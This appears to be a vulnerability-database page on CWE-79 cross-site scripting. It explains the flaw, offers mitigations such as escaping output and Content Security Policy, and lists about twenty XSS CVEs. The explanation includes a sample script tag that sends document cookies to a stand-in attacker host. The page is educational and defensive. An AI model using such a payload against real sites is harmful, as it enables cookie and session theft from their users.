Fallos del tipo CWE-79

30.299 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-70033MEDIUMAn issue pertaining to CWE-79: Improper Neutralization of Input During Web Page Generation was discovered in Sunbird-Ed SunbirdEd-portal v1.EPSS 0.3%CVE-2026-14292MEDIUMWordPress Download Manager < 3.3.66 - Author+ Stored XSS via Package TitleEPSS 0.3%CVE-2024-53279MEDIUMImproper neutralization of input during web page generation ('Cross-site Scripting') vulnerability in file station functionality in SynologyEPSS 0.3%CVE-2026-88942MEDIUMProduct Filter for WooCommerce by WBW <= 3.4.6 - Reflected Cross-Site Scripting via 'wpf_fid' JSON ParameterEPSS 0.3%CVE-2026-13374MEDIUMWatchGuard Firebox Stored Cross-Site-Scripting (XSS) Vulnerability in ConnectWise Technology Integration ConfigurationEPSS 0.3%CVE-2024-37436HIGHWordPress Uncanny Toolkit Pro for LearnDash plugin < 4.1.4.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2021-47808MEDIUMCotonti Siena 0.9.19 - 'maintitle' Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-5312MEDIUMCross-Site Scripting vulnerability in PHP Server MonitorEPSS 0.3%CVE-2025-6540MEDIUMweb-cam <= 3.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via slug ParameterEPSS 0.3%CVE-2025-28929MEDIUMWordPress Tabbed Login Widget plugin <= 1.1.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-39647HIGHWordPress Message Filter for Contact Form 7 plugin <= 1.6.1.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-43246HIGHWordPress WHMpress plugin <= 6.2-revision-5 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-3065MEDIUMPayPal Pay Now, Buy Now, Donation and Cart Buttons Shortcode <= 1.7 - Authenticated (Admin+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-48032HIGHWordPress Featured Posts with Multiple Custom Groups (FPMCG) plugin <= 4.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-53285MEDIUMImproper neutralization of input during web page generation ('Cross-site Scripting') vulnerability in DDNS Record functionality in Synology EPSS 0.3%CVE-2026-13376MEDIUMWatchGuard Firebox Stored Cross-Site-Scripting (XSS) Vulnerability in spamBlocker ModuleEPSS 0.3%CVE-2026-96566HIGHNewsletter <= 9.4.0 - Unauthenticated Stored Cross-Site Scripting via 'np1' Custom Field ParameterEPSS 0.3%CVE-2024-3579MEDIUMXSS in Online Shopping System AdvancedEPSS 0.3%CVE-2025-53526LOWWeGIA allows Stored XSS attacks in novo_memorando.phpEPSS 0.3%CVE-2024-53284MEDIUMImproper neutralization of input during web page generation ('Cross-site Scripting') vulnerability in WiFi Connect Setting functionality in EPSS 0.3%